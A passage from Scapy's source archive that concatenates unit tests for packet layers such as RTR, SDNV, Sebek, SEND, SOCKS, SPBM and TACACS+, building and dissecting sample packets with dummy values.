Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x01\x13\x13\x00Y\xb9\xe0\x00\x00\x00a\x8b") pkt.asn == 24971 and pkt.prefix == "89.185.224.0"and pkt.shortest_length == 19 and pkt.longest_length == 19 + RTR IPv6 Prefix = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix() raw(pkt) == b'E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x900\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x06\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default value build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix() RTRIPv6Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == "::" and pkt.asn == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix(prefix="2001:db8::", asn=45000, shortest_length=32, longest_length=32) pkt.prefix == "2001:db8::" and pkt.asn == 45000 and pkt.shortest_length == 32 and pkt.longest_length == 32 = dissection pkt = Ether(b"\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08\x00\x06\x00\x00\x00\x00\x00 \x01 \x00*\x03\xcd\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xe2") pkt.prefix == "2a03:cd80::" and pkt.asn == 16354 and pkt.shortest_length == 32 and pkt.longest_length == 32 + RTR End of Data version 0 = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0() raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90W\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x07\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0() RTREndofDatav0 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav0(session_id=12345, serial_number=17) pkt.serial_number == 17 and pkt.session_id == 12345 = dissection pkt = IP(b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x8e\x00\x00\x00\x0309\x00\x00\x00\x08\x00\x0709\x00\x00\x00\x0c\x00\x00\x00\x11') RTREndofDatav0 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345 + RTR End of Data version 1 = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1() raw(pkt) == b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f?\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x01\x07\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1() RTREndofDatav1 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 and pkt.refresh_interval == 0 and pkt.retry_interval == 0 and pkt.expire_interval == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav1(session_id=12345, serial_number=17, refresh_interval=500 , retry_interval=200, expire_interval=1800) pkt.serial_number == 17 and pkt.session_id == 12345 = dissection pkt = IP(b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00$\xf8\x00\x00\x00\x0309\x00\x00\x00\x08\x01\x0709\x00\x00\x00\x18\x00\x00\x00\x11\x00\x00\x01\xf4\x00\x00\x00\xc8\x00\x00\x07\x08') RTREndofDatav1 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345 + RTR Cache Reset = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheReset() raw(pkt) == b'E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90q\x00\x00\x00\x08\x00\x00\x00\x00\x00\x08' = default values build pkt = IP()/TCP(dport=323)/RTRCacheReset() RTRCacheReset in pkt and pkt.reserved == 0 #= filled values build - nonsense test = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00p+\x00\x00\x00\x08\x00\x00\x00\x00\x00\x08') RTRCacheReset in pkt and pkt.reserved == 0 + RTR Router Key = default instantiation pkt = IP()/TCP(dport=323)/RTRRouterKey() raw(pkt) == b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f>\x00\x00\x01\t\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRRouterKey() RTRRouterKey in pkt and pkt.zeros == 0 and pkt.subject_key_identifier == b'' and pkt.asn == 0 and pkt.subject_PKI == b'' = filled values build pkt = IP()/TCP(dport=323)/RTRRouterKey(subject_key_identifier='7dd65f58882efc148edd', asn=45000, subject_PKI='Scapy ROA') pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.subject_key_identifier == b'7dd65f58882efc148edd' = dissection pkt = IP(b'E\x00\x00Q\x00\x01\x00\x00@\x06|\xa4\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00x\xe8\x00\x00\x01\t\x00\x00\x00+\x00\x007dd65f58882efc148edd\x00\x00\xaf\xc8Scapy ROA') RTRRouterKey in pkt #and pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.zeros == 0 and pkt.subject_key_identifier == b'7dd65f58882efc148edd' + RTR Error Report = default instantiation pkt = IP()/TCP(dport=323)/RTRErrorReport() raw(pkt) == b'E\x00\x008\x00\x01\x00\x00@\x06|\xbd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90]\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRErrorReport() RTRErrorReport in pkt and pkt.error_code == 0 and pkt.erroneous_PDU == b'' and pkt.error_text == b'' = filled values build pkt = IP()/TCP(dport=323)/RTRErrorReport(error_code=1, error_text='Internal Error') RTRErrorReport in pkt and pkt.error_code == 1and pkt.error_text == b'Internal Error' = dissection pkt = IP(b'E\x00\x00F\x00\x01\x00\x00@\x06|\xaf\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xdc\x15\x00\x00\x00\n\x00\x01\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x0eInternal Error') RTRErrorReport in pkt and pkt.error_code == 1and pkt.error_text == b'Internal Error' scapy-2.4.4/test/contrib/sdnv.uts000066400000000000000000000033141372370053500167740ustar00rootroot00000000000000% SDNV library tests ############ ############ + Test SDNV encoding/decoding = Load SDNVUtil # Explicit to load SDNVUtil load_contrib("sdnv") = Define utils def doTestVector(vec): # Test numbers individually for n in vec: ba = SDNVUtil.encode(n) (num, sdnvLen) = SDNVUtil.decode(ba, 0) if num != n: print("Error encoding/decoding", n) return False # Encode them all in a bunch ba = bytearray() for n in vec: temp = SDNVUtil.encode(n) ba = ba + temp offset = 0 outNums = [] for n in vec: (num, sdnvLen) = SDNVUtil.decode(ba, offset) outNums.append(num) offset += sdnvLen if outNums != vec: print("Failed on multi-number encode/decode") return False return True = Vector tests: small ints ba = bytearray() theNums = [0, 1, 2, 5, 126, 127, 128, 129, 130, 150, 190, 220, 254, 255, 256] assert doTestVector(theNums) = Vector tests: big ints theNums = [0, 1, 0, 1, 0, 128, 32765, SDNVUtil.maxValue - 10, 4, 32766, 32767, 32768, 32769] assert doTestVector(theNums) = 100 random vector tests import random def doRandomTestVector(howMany): vec = [] for i in range(0, howMany): vec.append(random.randint(0, SDNVUtil.maxValue)) result = doTestVector(vec) return result assert doRandomTestVector(100) = SDVN tests # Tests using the SDNV class s = SDNV(30) b = s.encode(17) theNums = [0, 4, 20, 29, 30, 31, 33] not_enc = [] for n in theNums: try: b = s.encode(n) except SDNVValueError as e: print("Could not encode", n, "-- maximum value is:", e.maxValue) not_enc.append(n) not_enc.sort() assert not_enc == [31, 33]scapy-2.4.4/test/contrib/sebek.uts000066400000000000000000000040271372370053500171150ustar00rootroot00000000000000# Sebek layer unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('sebek')" -t test/contrib/sebek.uts + Sebek protocol = Layer binding 1 pkt = IP() / UDP() / SebekHead() / SebekV1(cmd="diepotato") assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 assert pkt.summary() == "IP / UDP / SebekHead / Sebek v1 read ('diepotato')" = Packet dissection 1 pkt = IP(raw(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 = Layer binding 2 pkt = IP() / UDP() / SebekHead() / SebekV2Sock(cmd="diepotato") assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 assert pkt.summary() == "IP / UDP / SebekHead / Sebek v2 socket ('diepotato')" = Packet dissection 2 pkt = IP(raw(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 = Layer binding 3 pkt = IPv6()/UDP()/SebekHead()/SebekV3() assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 assert pkt.summary() == "IPv6 / UDP / SebekHead / Sebek v3 read ('')" = Packet dissection 3 pkt = IPv6(raw(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 = Nonsense summaries assert SebekHead(version=2).summary() == "Sebek Header v2 read" assert SebekV1(cmd="diepotato").summary() == "Sebek v1 ('diepotato')" assert SebekV2(cmd="diepotato").summary() == "Sebek v2 ('diepotato')" assert (SebekHead()/SebekV2(cmd="nottoday")).summary() == "SebekHead / Sebek v2 read ('nottoday')" assert SebekV3(cmd="diepotato").summary() == "Sebek v3 ('diepotato')" assert (SebekHead()/SebekV3(cmd="nottoday")).summary() == "SebekHead / Sebek v3 read ('nottoday')" assert SebekV3Sock(cmd="diepotato").summary() == "Sebek v3 socket ('diepotato')" assert (SebekHead()/SebekV3Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v3 socket ('nottoday')" assert SebekV2Sock(cmd="diepotato").summary() == "Sebek v2 socket ('diepotato')" assert (SebekHead()/SebekV2Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v2 socket ('nottoday')" scapy-2.4.4/test/contrib/send.uts000066400000000000000000000020231372370053500167470ustar00rootroot00000000000000+ SEND (IPv6) tests = ICMPv6NDOptRsaSig build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptRsaSig(signature_pad = b"\x01" * 12) pkt = Ether(raw(pkt)) assert ICMPv6NDOptRsaSig in pkt assert pkt[ICMPv6NDOptRsaSig].signature_pad == b"\x01" * 12 = ICMPv6NDOptCGA build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptCGA(CGA_PARAMS=CGA_Params()) pkt = Ether(raw(pkt)) assert ICMPv6NDOptCGA in pkt assert isinstance(pkt[ICMPv6NDOptCGA].CGA_PARAMS.pubkey, X509_SubjectPublicKeyInfo) assert len(pkt) == 142 = ICMPv6NDOptTmstp build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptTmstp(timestamp=int(time.mktime(time.gmtime()))) pkt = Ether(raw(pkt)) pkt.show() assert ICMPv6NDOptTmstp in pkt assert pkt[ICMPv6NDOptTmstp].len == 2 = ICMPv6NDOptNonce build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptNonce(nonce=b"\x31\x32\x33\x34\x35\x36") pkt = Ether(raw(pkt)) assert ICMPv6NDOptNonce in pkt assert raw(ICMPv6NDOptNonce(nonce=b"\x31\x32\x33\x34\x35\x36")) == b'\x0e\x01123456' scapy-2.4.4/test/contrib/socks.uts000066400000000000000000000022551372370053500171470ustar00rootroot00000000000000+ SOCKS 4/5 tests = Basic build and dissection - test version dispatch p1 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Request())) p2 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Reply())) p3 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Request())) p4 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Reply())) assert p1[TCP].dport == 1080 assert p1[SOCKS].vn == 0x5 assert SOCKS5Request in p1 assert p2[TCP].sport == 1080 assert p2[SOCKS].vn == 0x5 assert SOCKS5Reply in p2 assert p3[TCP].dport == 1080 assert p3[SOCKS].vn == 0x4 assert SOCKS4Request in p3 assert p4[TCP].sport == 1080 assert p4[SOCKS].vn == 0x0 assert SOCKS4Reply in p4 = SOCKS5Request build and dissection pkt = IP(dst="127.0.0.1", src="127.0.0.1")/TCP(sport=123)/SOCKS()/SOCKS5Request(atyp=0x3, addr="scapy.net") assert raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x049\x048\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xf2*\x00\x00\x05\x00\x00\x03\x05scapy\x03net\x00\x00P' pkt = IP(raw(pkt)) assert SOCKS5Request in pkt assert pkt[SOCKS5Request].addr == b'scapy.net.' = Test SOCKSv5 over UDP pkt = Ether()/IP()/UDP()/SOCKS5UDP(port=53)/DNS() pkt = Ether(raw(pkt)) assert DNS in pkt scapy-2.4.4/test/contrib/spbm.uts000066400000000000000000000014041372370053500167610ustar00rootroot00000000000000% Regression tests for the spbm module + Basic SPBM test = Test build and dissection backboneEther = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100) backboneDot1Q = Dot1Q(vlan=4051,type=0x88e7) backboneServiceID = SPBM(prio=1,isid=20011) customerEther = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100) customerDot1Q = Dot1Q(prio=1,vlan=11,type=0x0800) customerIP = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106) customerUDP = UDP(sport=1024,dport=1025,chksum=0,len=86) pkt = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload" pkt = Ether(raw(pkt)) assert SPBM in pkt assert pkt[SPBM].payload.payload.payload.src == '10.100.11.10' scapy-2.4.4/test/contrib/tacacs.uts000066400000000000000000000302071372370053500172610ustar00rootroot00000000000000+ Tacacs+ header = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader() raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd0p\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader() pkt.session_id == 0 and TacacsHeader in pkt = filled values build pkt = IP()/TCP(dport=49)/TacacsHeader(seq=5, session_id=165) raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcb\xcb\x00\x00\xc0\x01\x05\x00\x00\x00\x00\xa5\x00\x00\x00\x00' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x1c4\x00\x00\xc0\x01\x01\x00\x00Y\xb3\xe3\x00\x00\x00\x00') pkt.session_id == 5878755 + Tacacs+ Authentication Start = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart() raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xce\xfb\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08R\x0f\x9e\xe7\xe0\xd1/\x9c' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart() TacacsAuthenticationStart in pkt and pkt.action == 1 and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 = filled values build -- SSH connection sample use scapy, secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=0, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1') raw(pkt) == b"E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd4t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb'\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q" = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb&\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q') pkt.user == b'scapy' and pkt.port == b'tty3' + Tacacs+ Authentication Reply = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationReply() raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfd\x9d\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06R\x0e\x9f\xe6\xe0\xd1' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2)/TacacsAuthenticationReply() TacacsAuthenticationReply in pkt and pkt.status == 1 = filled values build -- SSH connection sample use scapy, secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, flags=0, session_id=2424164486, length=16)/TacacsAuthenticationReply(status=5, flags=1, server_msg_len=10, data_len=0, server_msg='Password: ') raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o') pkt.server_msg == b'Password: ' + Tacacs+ Authentication Continue = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationContinue() raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfcp\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x05S\x0e\x9f\xe6\xe1' = default values build pkt = TacacsAuthenticationContinue() TacacsAuthenticationContinue in pkt and pkt.data == b'' and pkt.user_msg == b'' and pkt.data_len is None and pkt.user_msg_len is None = filled values build -- SSH connection sample secret = test, password = pass pkt = IP()/TCP(dport=49)/TacacsHeader(seq=3, flags=0, session_id=2424164486, length=9)/TacacsAuthenticationContinue(flags=0, user_msg_len=4, data_len=0, user_msg='pass') raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00u\xfa\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\t\xec8\xc1\x8d\xcc\xec(\xacT' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00A\x00\x01\x00\x00@\x06|\xb4\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb5\xfd\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\r\xec4\xc1\x8d\xcc\xec(\xacT\xd2k&T') pkt.user_msg == b'password' + Tacacs+ Authorization Request = default instantiation pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationRequest() raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcd\xdb\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08S\x0f\x9e\xe7\xe0\xd1/\x9c' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader(type=2)/TacacsAuthorizationRequest() TacacsAuthorizationRequest in pkt and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 = filled values build -- SSH connection sample secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=2 , flags=0, session_id=135252, length=47)/TacacsAuthorizationRequest(authen_method=6, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=2, arg_len_list=[13, 4], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='service=shell')/TacacsPacketArguments(data='cmd*') raw(pkt) == b'E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb28\x00\x00\xc0\x02\x01\x00\x00\x02\x10T\x00\x00\x00/\xdd\xe0\xe8\xea\xba\xca$Y\xf7\x00\xc2Hh\xed\x03\x1eK84\x10\xb9h\xd7@\x0e\xd5\x13\xf0\xfaA\xfa\xbe;\x01\x82\xecl\xf9\xc6\xa0Z6\x98j\xfd\\9' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc2D\x00\x00\xc0\x02\x01\x00R\xf2\x0e\xf4\x00\x00\x00/\xe6\x01\x03 \xd7\xa9\x91\x7fv\xf2\x15-\x88a\xac$\x14\x9f\xc0\xbb\xb8a\xe0\x86e\xf9\xd9\xa2\xc4\xe7\x0bRI\xc8\xdd\x97\xd5\x80\xcf\xce\x81*"\xbc\x15E\x95') pkt.port == b'tty9' + Tacacs+ Authorization Reply = default instantiation pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationReply() raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfc}\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06S\x0e\x9f\xe6\xe0\xd1' = default values build pkt = TacacsHeader()/TacacsAuthorizationReply() TacacsAuthorizationReply in pkt and pkt.status == 0 and pkt.arg_cnt is None and pkt.data_len is None = filled values build -- SSH connection sample secret = test pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=2 , flags=0, session_id=1391595252, length=20)/TacacsAuthorizationReply(status=1, arg_cnt=2, server_msg_len=0, data_len=0, arg_len_list=[11, 1])/TacacsPacketArguments(data='priv-lvl=15')/TacacsPacketArguments(data='a') raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15') pkt.status == 1 + Tacacs+ Accounting Request = default instantiation pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest() raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb3\xd9\x00\x00\xc0\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\tS\x0e\x9e\xe7\xe1\xd1/\x9c\x19' = default value build pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest() TacacsAccountingRequest in pkt and pkt.authen_method == 0 and pkt.priv_lvl == 1 and pkt.authen_type == 1 = filled values build -- SSH connection sample secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=3 , flags=0, session_id=3059434316, length=67)/TacacsAccountingRequest(flags=2, authen_method=6, priv_lvl=15, authen_type=1, authen_service=1, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=3, arg_len_list=[10, 12, 13], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='task_id=24')/TacacsPacketArguments(data='timezone=CET')/TacacsPacketArguments(data='service=shell') raw(pkt) == b'E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00sk\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xbf/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeA\xd4\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|j\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 